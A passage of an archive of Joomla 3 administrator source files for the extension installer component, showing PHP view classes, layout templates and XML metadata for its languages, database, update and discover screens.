		JToolBarHelper::title(JText::_('COM_INSTALLER_HEADER_' . $this->getName()), 'puzzle install');

		if ($canDo->get('core.admin'))
		{
			parent::addToolbar();

			// TODO: this help screen will need to be created.
			JToolBarHelper::help('JHELP_EXTENSIONS_EXTENSION_MANAGER_LANGUAGES');
		}
	}
}
com_installer/views/languages/tmpl/default.xml000060400000000330152455305310015617 0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout title="COM_INSTALLER_LANGUAGES_VIEW_DEFAULT_TITLE">
		<message>
			<![CDATA[COM_INSTALLER_LANGUAGES_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
</metadata>
com_installer/views/languages/tmpl/default.php000060400000010433152455305310015613 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_installer
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::_('behavior.multiselect');
JHtml::_('formbehavior.chosen', 'select');
JHtml::_('bootstrap.tooltip');

$listOrder = $this->escape($this->state->get('list.ordering'));
$listDirn  = $this->escape($this->state->get('list.direction'));
?>
<div id="installer-languages" class="clearfix">
	<form action="<?php echo JRoute::_('index.php?option=com_installer&view=languages'); ?>" method="post" name="adminForm" id="adminForm">
	<?php if (!empty( $this->sidebar)) : ?>
		<div id="j-sidebar-container" class="span2">
			<?php echo $this->sidebar; ?>
		</div>
		<div id="j-main-container" class="span10">
	<?php else : ?>
		<div id="j-main-container">
	<?php endif; ?>
			<?php echo JLayoutHelper::render('joomla.searchtools.default', array('view' => $this, 'options' => array('filterButton' => false))); ?>
			<div class="clearfix"></div>
			<?php if (empty($this->items)) : ?>
			<div class="alert alert-no-items">
				<?php echo JText::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
			</div>
			<?php else : ?>
			<table class="table table-striped">
				<thead>
					<tr>
						<th width="5%"></th>
						<th class="nowrap">
							<?php echo JHtml::_('searchtools.sort', 'JGRID_HEADING_LANGUAGE', 'name', $listDirn, $listOrder); ?>
						</th>
						<th width="1%" class="nowrap">
							<?php echo JHtml::_('searchtools.sort', 'COM_INSTALLER_HEADING_LANGUAGE_TAG', 'element', $listDirn, $listOrder); ?>
						</th>
						<th width="5%" class="center">
							<?php echo JText::_('JVERSION'); ?>
						</th>
						<th width="40%" class="nowrap hidden-phone">
							<?php echo JText::_('COM_INSTALLER_HEADING_DETAILS_URL'); ?>
						</th>
					</tr>
				</thead>
				<tfoot>
					<tr>
						<td colspan="6">
							<?php echo $this->pagination->getListFooter(); ?>
						</td>
					</tr>
				</tfoot>
				<tbody>
				<?php
				$version = new JVersion;
				$currentShortVersion = preg_replace('#^([0-9\.]+)(|.*)$#', '$1', $version->getShortVersion());
				$i = 0;
				foreach ($this->items as $language) :
					preg_match('#^pkg_([a-z]{2,3}-[A-Z]{2})$#', $language->element, $element);
					$language->code  = $element[1];
					?>
					<tr class="row<?php echo $i % 2; ?>">
						<td>
							<?php $buttonText = (isset($this->installedLang[0][$language->code]) || isset($this->installedLang[1][$language->code])) ? 'REINSTALL' : 'INSTALL'; ?>
							<?php $onclick = 'document.getElementById(\'install_url\').value = \'' . $language->detailsurl . '\'; Joomla.submitbutton(\'install.install\');'; ?>
							<input type="button" class="btn btn-small" value="<?php echo JText::_('COM_INSTALLER_' . $buttonText . '_BUTTON'); ?>" onclick="<?php echo $onclick; ?>" />
						</td>
						<td>
							<?php echo $language->name; ?>
						</td>
						<td>
							<?php echo $language->code; ?>
						</td>
						<td class="center">
								<?php $minorVersion = $version::MAJOR_VERSION . '.' . $version::MINOR_VERSION; ?>
								<?php // Display a Note if language pack version is not equal to Joomla version ?>
								<?php if (strpos($language->version, $minorVersion) !== 0 || strpos($language->version, $currentShortVersion) !== 0) : ?>
									<span class="label label-warning hasTooltip" title="<?php echo JText::_('JGLOBAL_LANGUAGE_VERSION_NOT_PLATFORM'); ?>"><?php echo $language->version; ?></span>
								<?php else : ?>
									<span class="label label-success"><?php echo $language->version; ?></span>
								<?php endif; ?>
						</td>
						<td class="small hidden-phone">
							<a href="<?php echo $language->detailsurl; ?>" target="_blank"><?php echo $language->detailsurl; ?></a>
						</td>
					</tr>
					<?php $i++; ?>
				<?php endforeach; ?>
				</tbody>
			</table>
			<?php endif; ?>
			<input type="hidden" name="task" value="" />
			<input type="hidden" name="return" value="<?php echo base64_encode('index.php?option=com_installer&view=languages') ?>" />
			<input type="hidden" id="install_url" name="install_url" />
			<input type="hidden" name="installtype" value="url" />
			<input type="hidden" name="boxchecked" value="0" />
			<?php echo JHtml::_('form.token'); ?>
		</div>
	</form>
</div>
com_installer/views/database/tmpl/default.php000060400000006473152455305310015422 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_installer
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

?>
<div id="installer-database" class="clearfix">
	<form action="<?php echo JRoute::_('index.php?option=com_installer&view=database'); ?>" method="post" name="adminForm" id="adminForm">

	<?php if (!empty( $this->sidebar)) : ?>
		<div id="j-sidebar-container" class="span2">
			<?php echo $this->sidebar; ?>
		</div>
		<div id="j-main-container" class="span10">
	<?php else : ?>
		<div id="j-main-container">
	<?php endif; ?>
		<?php if ($this->errorCount === 0) : ?>
			<?php echo JHtml::_('bootstrap.startTabSet', 'myTab', array('active' => 'other')); ?>
		<?php else : ?>
			<?php echo JHtml::_('bootstrap.startTabSet', 'myTab', array('active' => 'problems')); ?>
			<?php echo JHtml::_('bootstrap.addTab', 'myTab', 'problems', JText::plural('COM_INSTALLER_MSG_N_DATABASE_ERROR_PANEL', $this->errorCount)); ?>
				<fieldset class="panelform">
					<ul>
						<?php if (!$this->filterParams) : ?>
							<li><?php echo JText::_('COM_INSTALLER_MSG_DATABASE_FILTER_ERROR'); ?></li>
						<?php endif; ?>

						<?php if ($this->schemaVersion != $this->changeSet->getSchema()) : ?>
							<li><?php echo JText::sprintf('COM_INSTALLER_MSG_DATABASE_SCHEMA_ERROR', $this->schemaVersion, $this->changeSet->getSchema()); ?></li>
						<?php endif; ?>

						<?php if (version_compare($this->updateVersion, JVERSION) != 0) : ?>
							<li><?php echo JText::sprintf('COM_INSTALLER_MSG_DATABASE_UPDATEVERSION_ERROR', $this->updateVersion, JVERSION); ?></li>
						<?php endif; ?>

						<?php foreach ($this->errors as $line => $error) : ?>
							<?php $key = 'COM_INSTALLER_MSG_DATABASE_' . $error->queryType;
							$msgs = $error->msgElements;
							$file = basename($error->file);
							$msg0 = isset($msgs[0]) ? $msgs[0] : ' ';
							$msg1 = isset($msgs[1]) ? $msgs[1] : ' ';
							$msg2 = isset($msgs[2]) ? $msgs[2] : ' ';
							$message = JText::sprintf($key, $file, $msg0, $msg1, $msg2); ?>
							<li><?php echo $message; ?></li>
						<?php endforeach; ?>
					</ul>
				</fieldset>
			<?php echo JHtml::_('bootstrap.endTab'); ?>
		<?php endif; ?>
			<?php echo JHtml::_('bootstrap.addTab', 'myTab', 'other', JText::_('COM_INSTALLER_MSG_DATABASE_INFO')); ?>
				<div class="control-group" >
					<fieldset class="panelform">
						<ul>
							<li><?php echo JText::sprintf('COM_INSTALLER_MSG_DATABASE_SCHEMA_VERSION', $this->schemaVersion); ?></li>
							<li><?php echo JText::sprintf('COM_INSTALLER_MSG_DATABASE_UPDATE_VERSION', $this->updateVersion); ?></li>
							<li><?php echo JText::sprintf('COM_INSTALLER_MSG_DATABASE_DRIVER', JFactory::getDbo()->name); ?></li>
							<li><?php echo JText::sprintf('COM_INSTALLER_MSG_DATABASE_CHECKED_OK', count($this->results['ok'])); ?></li>
							<li><?php echo JText::sprintf('COM_INSTALLER_MSG_DATABASE_SKIPPED', count($this->results['skipped'])); ?></li>
						</ul>
					</fieldset>
				</div>
				<?php echo JHtml::_('bootstrap.endTab'); ?>
			<?php echo JHtml::_('bootstrap.endTabSet'); ?>

			<input type="hidden" name="task" value="" />
			<input type="hidden" name="boxchecked" value="0" />
			<?php echo JHtml::_('form.token'); ?>
		</div>
	</form>
</div>
com_installer/views/database/tmpl/default.xml000060400000000326152455305310015422 0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout title="COM_INSTALLER_DATABASE_VIEW_DEFAULT_TITLE">
		<message>
			<![CDATA[COM_INSTALLER_DATABASE_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
</metadata>
com_installer/views/database/view.html.php000060400000004215152455305310014727 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_installer
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('InstallerViewDefault', dirname(__DIR__) . '/default/view.php');

/**
 * Extension Manager Database View
 *
 * @since  1.6
 */
class InstallerViewDatabase extends InstallerViewDefault
{
	/**
	 * Display the view.
	 *
	 * @param   string  $tpl  Template
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	public function display($tpl = null)
	{
		// Set variables
		$app = JFactory::getApplication();

		// Get data from the model.
		$this->state = $this->get('State');
		$this->changeSet = $this->get('Items');
		$this->errors = $this->changeSet->check();
		$this->results = $this->changeSet->getStatus();
		$this->schemaVersion = $this->get('SchemaVersion');
		$this->updateVersion = $this->get('UpdateVersion');
		$this->filterParams  = $this->get('DefaultTextFilters');
		$this->schemaVersion = $this->schemaVersion ?: JText::_('JNONE');
		$this->updateVersion = $this->updateVersion ?: JText::_('JNONE');
		$this->pagination = $this->get('Pagination');
		$this->errorCount = count($this->errors);

		if ($this->schemaVersion != $this->changeSet->getSchema())
		{
			$this->errorCount++;
		}

		if (!$this->filterParams)
		{
			$this->errorCount++;
		}

		if (version_compare($this->updateVersion, JVERSION) != 0)
		{
			$this->errorCount++;
		}

		if ($this->errorCount === 0)
		{
			$app->enqueueMessage(JText::_('COM_INSTALLER_MSG_DATABASE_OK'), 'notice');
		}
		else
		{
			$app->enqueueMessage(JText::_('COM_INSTALLER_MSG_DATABASE_ERRORS'), 'warning');
		}

		parent::display($tpl);
	}

	/**
	 * Add the page title and toolbar.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function addToolbar()
	{
		/*
		 * Set toolbar items for the page.
		 */
		JToolbarHelper::custom('database.fix', 'refresh', 'refresh', 'COM_INSTALLER_TOOLBAR_DATABASE_FIX', false);
		JToolbarHelper::divider();
		parent::addToolbar();
		JToolbarHelper::help('JHELP_EXTENSIONS_EXTENSION_MANAGER_DATABASE');
	}
}
com_installer/views/default/tmpl/default_ftp.php000060400000002207152455305310016142 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_installer
 *
 * @copyright   (C) 2007 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;
?>
<fieldset title="<?php echo JText::_('COM_INSTALLER_MSG_DESCFTPTITLE'); ?>">
	<legend><?php echo JText::_('COM_INSTALLER_MSG_DESCFTPTITLE'); ?></legend>

	<?php echo JText::_('COM_INSTALLER_MSG_DESCFTP'); ?>

	<?php if ($this->ftp instanceof Exception) : ?>
		<p><?php echo JText::_($this->ftp->getMessage()); ?></p>
	<?php endif; ?>

	<table class="adminform">
		<tbody>
			<tr>
				<td width="120">
					<label for="username"><?php echo JText::_('JGLOBAL_USERNAME'); ?></label>
				</td>
				<td>
					<input type="text" id="username" name="username" class="input_box" size="70" value="" />
				</td>
			</tr>
			<tr>
				<td width="120">
					<label for="password"><?php echo JText::_('JGLOBAL_PASSWORD'); ?></label>
				</td>
				<td>
					<input type="password" id="password" name="password" class="input_box" size="70" value="" />
				</td>
			</tr>
		</tbody>
	</table>

</fieldset>
com_installer/views/default/tmpl/default_message.php000060400000001250152455305310016772 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_installer
 *
 * @copyright   (C) 2007 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

$state    = $this->get('State');
$message1 = $state->get('message');
$message2 = $state->get('extension_message');
?>

<?php if ($message1) : ?>
	<div class="row-fluid"> 
		<div class="span12"> 
			<strong><?php echo $message1; ?></strong>
		</div>
	</div> 
<?php endif; ?> 
<?php if ($message2) : ?> 
	<div class="row-fluid">
		<div class="span12"> 
			<?php echo $message2; ?>
		</div> 
	</div>
<?php endif; ?>
com_installer/views/default/view.php000060400000003473152455305310013651 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_installer
 *
 * @copyright   (C) 2007 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Extension Manager Default View
 *
 * @since  1.5
 */
class InstallerViewDefault extends JViewLegacy
{
	/**
	 * Constructor.
	 *
	 * @param   array  $config  Configuration array
	 *
	 * @since   1.5
	 */
	public function __construct($config = null)
	{
		$app = JFactory::getApplication();
		parent::__construct($config);
		$this->_addPath('template', $this->_basePath . '/views/default/tmpl');
		$this->_addPath('template', JPATH_THEMES . '/' . $app->getTemplate() . '/html/com_installer/default');
	}

	/**
	 * Display the view.
	 *
	 * @param   string  $tpl  Template
	 *
	 * @return  void
	 *
	 * @since   1.5
	 */
	public function display($tpl = null)
	{
		// Get data from the model.
		$state = $this->get('State');

		// Are there messages to display?
		$showMessage = false;

		if (is_object($state))
		{
			$message1    = $state->get('message');
			$message2    = $state->get('extension_message');
			$showMessage = ($message1 || $message2);
		}

		$this->showMessage = $showMessage;
		$this->state       = &$state;

		$this->addToolbar();
		parent::display($tpl);
	}

	/**
	 * Add the page title and toolbar.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function addToolbar()
	{
		$canDo = JHelperContent::getActions('com_installer');
		JToolbarHelper::title(JText::_('COM_INSTALLER_HEADER_' . $this->getName()), 'puzzle install');

		if ($canDo->get('core.admin') || $canDo->get('core.options'))
		{
			JToolbarHelper::preferences('com_installer');
			JToolbarHelper::divider();
		}

		// Render side bar.
		$this->sidebar = JHtmlSidebar::render();
	}
}
com_installer/views/update/tmpl/default.xml000060400000000322152455305310015134 0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout title="COM_INSTALLER_UPDATE_VIEW_DEFAULT_TITLE">
		<message>
			<![CDATA[COM_INSTALLER_UPDATE_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
</metadata>
com_installer/views/update/tmpl/default.php000060400000012004152455305310015123 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_installer
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::_('behavior.multiselect');
JHtml::_('formbehavior.chosen', 'select');
JHtml::_('bootstrap.tooltip');

$listOrder = $this->escape($this->state->get('list.ordering'));
$listDirn  = $this->escape($this->state->get('list.direction'));
?>
<div id="installer-update" class="clearfix">
	<form action="<?php echo JRoute::_('index.php?option=com_installer&view=update'); ?>" method="post" name="adminForm" id="adminForm">
		<?php if (!empty( $this->sidebar)) : ?>
		<div id="j-sidebar-container" class="span2">
			<?php echo $this->sidebar; ?>
		</div>
		<div id="j-main-container" class="span10">
			<?php else : ?>
			<div id="j-main-container">
				<?php endif; ?>
				<?php if ($this->showMessage) : ?>
					<?php echo $this->loadTemplate('message'); ?>
				<?php endif; ?>

				<?php if ($this->ftp) : ?>
					<?php echo $this->loadTemplate('ftp'); ?>
				<?php endif; ?>

				<?php echo JLayoutHelper::render('joomla.searchtools.default', array('view' => $this)); ?>
				<div class="clearfix"></div>
				<?php if (empty($this->items)) : ?>
					<div class="alert alert-no-items alert-info">
						<?php echo JText::_('COM_INSTALLER_MSG_UPDATE_NOUPDATES'); ?>
					</div>
				<?php else : ?>
					<table class="table table-striped">
						<thead>
						<tr>
							<th width="1%" class="nowrap">
								<?php echo JHtml::_('grid.checkall'); ?>
							</th>
							<th class="nowrap">
								<?php echo JHtml::_('searchtools.sort', 'COM_INSTALLER_HEADING_NAME', 'u.name', $listDirn, $listOrder); ?>
							</th>
							<th class="nowrap center">
								<?php echo JHtml::_('searchtools.sort', 'COM_INSTALLER_HEADING_LOCATION', 'client_translated', $listDirn, $listOrder); ?>
							</th>
							<th class="nowrap center">
								<?php echo JHtml::_('searchtools.sort', 'COM_INSTALLER_HEADING_TYPE', 'type_translated', $listDirn, $listOrder); ?>
							</th>
							<th class="nowrap hidden-phone center">
								<?php echo JText::_('COM_INSTALLER_CURRENT_VERSION'); ?>
							</th>
							<th class="nowrap center">
								<?php echo JText::_('COM_INSTALLER_NEW_VERSION'); ?>
							</th>
							<th class="nowrap hidden-phone center">
								<?php echo JHtml::_('searchtools.sort', 'COM_INSTALLER_HEADING_FOLDER', 'folder_translated', $listDirn, $listOrder); ?>
							</th>
							<th class="nowrap hidden-phone center">
								<?php echo JText::_('COM_INSTALLER_HEADING_INSTALLTYPE'); ?>
							</th>
							<th width="40%" class="nowrap hidden-phone hidden-tablet">
								<?php echo JText::_('COM_INSTALLER_HEADING_DETAILSURL'); ?>
							</th>
						</tr>
						</thead>
						<tfoot>
						<tr>
							<td colspan="9">
								<?php echo $this->pagination->getListFooter(); ?>
							</td>
						</tr>
						</tfoot>
						<tbody>
						<?php foreach ($this->items as $i => $item) : ?>
							<?php
							$client          = $item->client_id ? JText::_('JADMINISTRATOR') : JText::_('JSITE');
							$manifest        = json_decode($item->manifest_cache);
							$current_version = isset($manifest->version) ? $manifest->version : JText::_('JLIB_UNKNOWN');
							?>
							<tr class="row<?php echo $i % 2; ?>">
								<td>
									<?php echo JHtml::_('grid.id', $i, $item->update_id); ?>
								</td>
								<td>
									<label for="cb<?php echo $i; ?>">
								<span class="editlinktip hasTooltip" title="<?php echo JHtml::_('tooltipText', JText::_('JGLOBAL_DESCRIPTION'), $item->description ?: JText::_('COM_INSTALLER_MSG_UPDATE_NODESC'), 0); ?>">
								<?php echo $this->escape($item->name); ?>
								</span>
									</label>
								</td>
								<td class="center">
									<?php echo $item->client_translated; ?>
								</td>
								<td class="center">
									<?php echo $item->type_translated; ?>
								</td>
								<td class="hidden-phone center">
									<span class="label label-warning"><?php echo $item->current_version; ?></span>
								</td>
								<td class="center">
									<span class="label label-success"><?php echo $item->version; ?></span>
								</td>
								<td class="hidden-phone center">
									<?php echo $item->folder_translated; ?>
								</td>
								<td class="hidden-phone center">
									<?php echo $item->install_type; ?>
								</td>
								<td class="hidden-phone hidden-tablet">
							<span class="break-word">
							<?php echo $item->detailsurl; ?>
								<?php if (isset($item->infourl)) : ?>
									<br />
									<a href="<?php echo $item->infourl; ?>" target="_blank" rel="noopener noreferrer"><?php echo $this->escape($item->infourl); ?></a>
								<?php endif; ?>
							</span>
								</td>
							</tr>
						<?php endforeach; ?>
						</tbody>
					</table>
				<?php endif; ?>
				<input type="hidden" name="task" value="" />
				<input type="hidden" name="boxchecked" value="0" />
				<?php echo JHtml::_('form.token'); ?>
			</div>
	</form>
</div>
com_installer/views/update/view.html.php000060400000003747152455305310014456 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_installer
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('InstallerViewDefault', dirname(__DIR__) . '/default/view.php');

/**
 * Extension Manager Update View
 *
 * @since  1.6
 */
class InstallerViewUpdate extends InstallerViewDefault
{
	/**
	 * List of update items.
	 *
	 * @var array
	 */
	protected $items;

	/**
	 * Model state object.
	 *
	 * @var  object
	 */
	protected $state;

	/**
	 * List pagination.
	 *
	 * @var JPagination
	 */
	protected $pagination;

	/**
	 * Display the view.
	 *
	 * @param   string  $tpl  Template
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	public function display($tpl = null)
	{
		// Get data from the model.
		$this->state         = $this->get('State');
		$this->items         = $this->get('Items');
		$this->pagination    = $this->get('Pagination');
		$this->filterForm    = $this->get('FilterForm');
		$this->activeFilters = $this->get('ActiveFilters');

		$paths = new stdClass;
		$paths->first = '';

		$this->paths = &$paths;

		if (count($this->items) > 0)
		{
			JFactory::getApplication()->enqueueMessage(JText::_('COM_INSTALLER_MSG_WARNINGS_UPDATE_NOTICE'), 'warning');
		}

		parent::display($tpl);
	}

	/**
	 * Add the page title and toolbar.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function addToolbar()
	{
		JToolbarHelper::custom('update.update', 'upload', 'upload', 'COM_INSTALLER_TOOLBAR_UPDATE', true);
		JToolbarHelper::custom('update.find', 'refresh', 'refresh', 'COM_INSTALLER_TOOLBAR_FIND_UPDATES', false);
		JToolbarHelper::custom('update.purge', 'purge', 'purge', 'COM_INSTALLER_TOOLBAR_PURGE', false);
		JToolbarHelper::divider();

		JHtmlSidebar::setAction('index.php?option=com_installer&view=manage');

		parent::addToolbar();
		JToolbarHelper::help('JHELP_EXTENSIONS_EXTENSION_MANAGER_UPDATE');
	}
}
com_installer/views/discover/tmpl/default.php000060400000010755152455305310015472 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_installer
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::_('behavior.multiselect');
JHtml::_('bootstrap.tooltip');
JHtml::_('formbehavior.chosen', 'select');

$listOrder = $this->escape($this->state->get('list.ordering'));
$listDirn  = $this->escape($this->state->get('list.direction'));
?>
<div id="installer-discover" class="clearfix">
	<form action="<?php echo JRoute::_('index.php?option=com_installer&view=discover'); ?>" method="post" name="adminForm" id="adminForm">
		<?php if (!empty( $this->sidebar)) : ?>
		<div id="j-sidebar-container" class="span2">
			<?php echo $this->sidebar; ?>
		</div>
		<div id="j-main-container" class="span10">
		<?php else : ?>
		<div id="j-main-container">
		<?php endif; ?>
			<?php if ($this->showMessage) : ?>
				<?php echo $this->loadTemplate('message'); ?>
			<?php endif; ?>
			<?php if ($this->ftp) : ?>
				<?php echo $this->loadTemplate('ftp'); ?>
			<?php endif; ?>
			<?php echo JLayoutHelper::render('joomla.searchtools.default', array('view' => $this)); ?>
			<div class="clearfix"></div>
			<div class="alert alert-no-items alert-info">
				<?php echo JText::_('COM_INSTALLER_MSG_DISCOVER_DESCRIPTION'); ?>
			</div>
			<?php if (empty($this->items)) : ?>
			<div class="alert alert-no-items">
				<?php echo JText::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
			</div>
			<?php else : ?>

			<table class="table table-striped">
				<thead>
					<tr>
						<th width="1%" class="nowrap center">
							<?php echo JHtml::_('grid.checkall'); ?>
						</th>
						<th class="nowrap">
							<?php echo JHtml::_('searchtools.sort', 'COM_INSTALLER_HEADING_NAME', 'name', $listDirn, $listOrder); ?>
						</th>
						<th class="nowrap">
							<?php echo JHtml::_('searchtools.sort', 'COM_INSTALLER_HEADING_LOCATION', 'client_translated', $listDirn, $listOrder); ?>
						</th>
						<th class="nowrap">
							<?php echo JHtml::_('searchtools.sort', 'COM_INSTALLER_HEADING_TYPE', 'type_translated', $listDirn, $listOrder); ?>
						</th>
						<th width="10%" class="hidden-phone">
							<?php echo JText::_('JVERSION'); ?>
						</th>
						<th width="10%" class="hidden-phone hidden-tablet">
							<?php echo JText::_('JDATE'); ?>
						</th>
						<th width="15%" class="hidden-phone hidden-tablet">
							<?php echo JText::_('JAUTHOR'); ?>
						</th>
						<th class="nowrap hidden-phone">
							<?php echo JHtml::_('searchtools.sort', 'COM_INSTALLER_HEADING_FOLDER', 'folder_translated', $listDirn, $listOrder); ?>
						</th>
						<th width="1%" class="nowrap hidden-phone">
							<?php echo JHtml::_('searchtools.sort', 'JGRID_HEADING_ID', 'extension_id', $listDirn, $listOrder); ?>
						</th>
					</tr>
				</thead>
				<tfoot>
					<tr>
						<td colspan="9"><?php echo $this->pagination->getListFooter(); ?></td>
					</tr>
				</tfoot>
				<tbody>
				<?php foreach ($this->items as $i => $item) : ?>
					<tr class="row<?php echo $i % 2; ?>">
						<td class="center">
							<?php echo JHtml::_('grid.id', $i, $item->extension_id); ?>
						</td>
						<td>
							<label for="cb<?php echo $i;?>">
								<span class="bold hasTooltip" title="<?php echo JHtml::_('tooltipText', $item->name, $item->description, 0); ?>"><?php echo $item->name; ?></span>
							</label>
						</td>
						<td>
							<?php echo $item->client_translated; ?>
						</td>
						<td>
							<?php echo $item->type_translated; ?>
						</td>
						<td class="hidden-phone">
							<?php echo @$item->version != '' ? $item->version : '&#160;'; ?>
						</td>
						<td class="hidden-phone hidden-tablet">
							<?php echo @$item->creationDate != '' ? $item->creationDate : '&#160;'; ?>
						</td>
						<td class="hidden-phone hidden-tablet">
							<span class="editlinktip hasTooltip" title="<?php echo JHtml::_('tooltipText', JText::_('COM_INSTALLER_AUTHOR_INFORMATION'), $item->author_info, 0); ?>">
								<?php echo @$item->author != '' ? $item->author : '&#160;'; ?>
							</span>
						</td>
						<td class="hidden-phone">
							<?php echo $item->folder_translated; ?>
						</td>
						<td class="hidden-phone">
							<?php echo $item->extension_id; ?>
						</td>
					</tr>
				<?php endforeach; ?>
				</tbody>
			</table>
			<?php endif; ?>
			<input type="hidden" name="task" value="" />
			<input type="hidden" name="boxchecked" value="0" />
			<?php echo JHtml::_('form.token'); ?>
		</div>
	</form>
</div>
com_installer/views/discover/tmpl/default_item.php000060400000003515152455305310016504 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_installer
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;
?>
<tr class="<?php echo 'row' . $this->item->index % 2; ?>" <?php echo $this->item->style; ?>>
	<td>
			<input type="checkbox" id="cb<?php echo $this->item->index; ?>" name="eid[]" value="<?php echo $this->item->extension_id; ?>" onclick="Joomla.isChecked(this.checked);" <?php echo $this->item->cbd; ?> />
<!--		<input type="checkbox" id="cb<?php echo $this->item->index; ?>" name="eid" value="<?php echo $this->item->extension_id; ?>" onclick="Joomla.isChecked(this.checked);" <?php echo $this->item->cbd; ?> />-->
		<span class="bold"><?php echo $this->item->name; ?></span>
	</td>
	<td>
		<?php echo $this->item->type ?>
	</td>
	<td class="center">
		<?php if (!$this->item->element) : ?>
		<strong>X</strong>
		<?php else : ?>
		<a href="index.php?option=com_installer&amp;type=manage&amp;task=<?php echo $this->item->task; ?>&amp;eid[]=<?php echo $this->item->extension_id; ?>&amp;limitstart=<?php echo $this->pagination->limitstart; ?>&amp;<?php echo JSession::getFormToken(); ?>=1"><?php echo JHtml::_('image', 'images/' . $this->item->img, $this->item->alt, array('title' => $this->item->action)); ?></a>
		<?php endif; ?>
	</td>
	<td class="center"><?php echo @$this->item->folder != '' ? $this->item->folder : 'N/A'; ?></td>
	<td class="center"><?php echo @$this->item->client != '' ? $this->item->client : 'N/A'; ?></td>
	<td>
		<span class="editlinktip hasTooltip" title="<?php echo JHtml::_('tooltipText', JText::_('COM_INSTALLER_AUTHOR_INFORMATION'), $this->item->author_info, 0); ?>">
			<?php echo @$this->item->author != '' ? $this->item->author : '&#160;'; ?>
		</span>
	</td>
</tr>
com_installer/views/discover/tmpl/default.xml000060400000000326152455305310015474 0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout title="COM_INSTALLER_DISCOVER_VIEW_DEFAULT_TITLE">
		<message>
			<![CDATA[COM_INSTALLER_DISCOVER_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
</metadata>
com_installer/views/discover/view.html.php000060400000004401152455305310014776 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_installer
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('InstallerViewDefault', dirname(__DIR__) . '/default/view.php');

/**
 * Extension Manager Discover View
 *
 * @since  1.6
 */
class InstallerViewDiscover extends InstallerViewDefault
{
	/**
	 * Display the view.
	 *
	 * @param   string  $tpl  Template
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	public function display($tpl = null)
	{
		// Run discover from the model.
		if (!$this->checkExtensions())
		{
			$this->getModel('discover')->discover();
		}

		// Get data from the model.
		$this->state         = $this->get('State');
		$this->items         = $this->get('Items');
		$this->pagination    = $this->get('Pagination');
		$this->filterForm    = $this->get('FilterForm');
		$this->activeFilters = $this->get('ActiveFilters');

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		parent::display($tpl);
	}

	/**
	 * Add the page title and toolbar.
	 *
	 * @return  void
	 *
	 * @since   3.1
	 */
	protected function addToolbar()
	{
		/*
		 * Set toolbar items for the page.
		 */
		JToolbarHelper::custom('discover.install', 'upload', 'upload', 'JTOOLBAR_INSTALL', true);
		JToolbarHelper::custom('discover.refresh', 'refresh', 'refresh', 'COM_INSTALLER_TOOLBAR_DISCOVER', false);
		JToolbarHelper::divider();

		JHtmlSidebar::setAction('index.php?option=com_installer&view=discover');

		parent::addToolbar();
		JToolbarHelper::help('JHELP_EXTENSIONS_EXTENSION_MANAGER_DISCOVER');
	}

	/**
	 * Check extensions.
	 *
	 * Checks uninstalled extensions in extensions table.
	 *
	 * @return  boolean  True if there are discovered extensions on the database.
	 *
	 * @since   3.5
	 */
	public function checkExtensions()
	{
